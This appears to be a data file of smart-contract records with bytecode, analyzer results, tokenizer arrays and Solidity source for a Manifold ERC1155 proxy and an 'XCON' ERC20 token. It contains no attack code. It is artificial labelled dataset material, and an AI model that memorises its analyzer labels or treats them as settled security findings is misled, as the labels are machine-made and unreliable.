6d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156113095761130961138a565b500190565b6000828210156113205761132061138a565b500390565b60005b83811015611340578181015183820152602001611328565b8381111561134f576000848401525b50505050565b60028104600182168061136957607f821691505b602082108114156106d157634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146113b557600080fd5b5056fea2646970667358221220241dcf2c0c92239adb7e1d2898ebb4a1c0cb33ab1f86a2730c93832f89caa3ed64736f6c63430008010033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 19317, 2475, 2063, 2683, 22907, 23352, 16409, 2692, 2581, 22907, 2575, 2475, 2063, 2581, 2620, 2581, 4783, 2546, 22275, 2278, 12521, 11387, 2094, 2692, 2497, 2683, 2620, 2581, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 15895, 1011, 1016, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1015, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 29464, 18715, 2368, 1012, 14017, 1000, 1025, 12324, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,056
0x9622fa8bb2de6031bd7dfe6dc11f9c78958d97f8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: HoM Collection /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ██╗ ██╗ █████╗ ███╗ ██╗██████╗ ██████╗ ███████╗███╗ ███╗██╗███╗ ██╗██████╗ // // ██║ ██║██╔══██╗████╗ ██║██╔══██╗██╔═══██╗██╔════╝████╗ ████║██║████╗ ██║██╔══██╗ // // ███████║███████║██╔██╗ ██║██║ ██║██║ ██║█████╗ ██╔████╔██║██║██╔██╗ ██║██║ ██║ // // ██╔══██║██╔══██║██║╚██╗██║██║ ██║██║ ██║██╔══╝ ██║╚██╔╝██║██║██║╚██╗██║██║ ██║ // // ██║ ██║██║ ██║██║ ╚████║██████╔╝╚██████╔╝██║ ██║ ╚═╝ ██║██║██║ ╚████║██████╔╝ // // ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═════╝ // // // // ██████╗ ██████╗ ██╗ ██╗ ███████╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗ // // ██╔════╝██╔═══██╗██║ ██║ ██╔════╝██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║ // // ██║ ██║ ██║██║ ██║ █████╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║ // // ██║ ██║ ██║██║ ██║ ██╔══╝ ██║ ██║ ██║██║ ██║██║╚██╗██║ // // ╚██████╗╚██████╔╝███████╗███████╗███████╗╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║ // // ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ // // // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////// contract GoHoM is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220409e15fe3d0f2f6fab11ef635bcd895baa3e9998c00095dcfa3ac3901af0560764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 19317, 7011, 2620, 10322, 2475, 3207, 16086, 21486, 2497, 2094, 2581, 20952, 2063, 2575, 16409, 14526, 2546, 2683, 2278, 2581, 2620, 2683, 27814, 2094, 2683, 2581, 2546, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 7570, 2213, 3074, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,057
0x9623a7a39c5e3e0bb2779ca3534f575cda9d6024
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Token is StandardToken , BurnableToken, PausableToken { string public constant name = 'CONNECT COIN'; string public constant symbol = 'XCON'; uint8 public constant decimals = 18; function Token() public payable { uint premintAmount = 70000000*10**uint(decimals); totalSupply_ = totalSupply_.add(premintAmount); balances[msg.sender] = balances[msg.sender].add(premintAmount); Transfer(address(0), msg.sender, premintAmount); address(0x0FCB1E60D071A61d73a9197CeA882bF2003faE17).transfer(20000000000000000 wei); address(0x30CdBB020BFc407d31c5E5f4a9e7fC3cB89B8956).transfer(80000000000000000 wei); } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a1461023357806342966c681461024a5780635c975abb14610262578063661884631461027757806370a082311461029b5780638456cb59146102bc5780638da5cb5b146102d157806395d89b4114610302578063a9059cbb14610317578063d73dd6231461033b578063dd62ed3e1461035f578063f2fde38b14610386575b600080fd5b34801561010157600080fd5b5061010a6103a7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356103de565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610409565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561040f565b34801561021457600080fd5b5061021d61043c565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b50610248610441565b005b34801561025657600080fd5b506102486004356104b9565b34801561026e57600080fd5b506101a3610568565b34801561028357600080fd5b506101a3600160a060020a0360043516602435610578565b3480156102a757600080fd5b506101cc600160a060020a036004351661059c565b3480156102c857600080fd5b506102486105b7565b3480156102dd57600080fd5b506102e6610634565b60408051600160a060020a039092168252519081900360200190f35b34801561030e57600080fd5b5061010a610643565b34801561032357600080fd5b506101a3600160a060020a036004351660243561067a565b34801561034757600080fd5b506101a3600160a060020a036004351660243561069e565b34801561036b57600080fd5b506101cc600160a060020a03600435811690602435166106c2565b34801561039257600080fd5b50610248600160a060020a03600435166106ed565b60408051808201909152600c81527f434f4e4e45435420434f494e0000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156103f857600080fd5b6104028383610782565b9392505050565b60015490565b60035460009060a060020a900460ff161561042957600080fd5b6104348484846107e8565b949350505050565b601281565b600354600160a060020a0316331461045857600080fd5b60035460a060020a900460ff16151561047057600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b336000908152602081905260408120548211156104d557600080fd5b50336000818152602081905260409020546104f6908363ffffffff61095f16565b600160a060020a038216600090815260208190526040902055600154610522908363ffffffff61095f16565b600155604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561059257600080fd5b6104028383610971565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146105ce57600080fd5b60035460a